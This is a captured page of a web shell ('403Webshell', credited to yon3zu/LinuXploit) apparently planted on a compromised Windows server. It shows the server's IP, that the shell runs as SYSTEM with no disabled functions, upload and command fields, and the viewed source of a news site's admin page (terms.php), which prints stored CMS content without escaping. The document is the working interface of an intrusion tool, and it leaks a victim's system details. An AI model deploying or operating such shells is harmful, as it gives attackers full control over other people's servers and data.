403Webshell
Server IP : 104.21.80.248  /  Your IP : 172.71.28.156
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/news/cooprat/sfadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/news/cooprat/sfadmin/terms.php
<?php include('header.php');?>
<div id="admin-container"></div>
<div id="admin-left-box">

<?php include('menu.php');?>

</div><!--admin-left-box-->

<div class="admin-right-box">

<div class="title"><h1>Update Terms and conditions</h1></div>

<?php

$act=isset($_GET['act'])?$_GET['act']:"";
 
if($act=='sub'){

$txtbox = $mysqli->escape_string($_POST['txtbox']);

$mysqli->query("UPDATE cms SET page='$txtbox' WHERE id=1");

?>

<div class="msg-ok">Terms and conditions updated successfully.</div>

<?php }

$SQL = $mysqli->query("SELECT * FROM cms WHERE id=1");
$Row = mysqli_fetch_array($SQL);

?>

<form id="prvercy-box" class="theform" action="terms.php?act=sub" method="post">

<textarea name="txtbox" id="txtbox"><?php echo $Row['page'];?></textarea>

<button id="submit-page" type="submit">Submit</button>
</form>



</div><!--admin-right-box-->

<!--admin-container-->
<?php include('footer.php');?>

Youez - 2016 - github.com/yon3zu
LinuXploit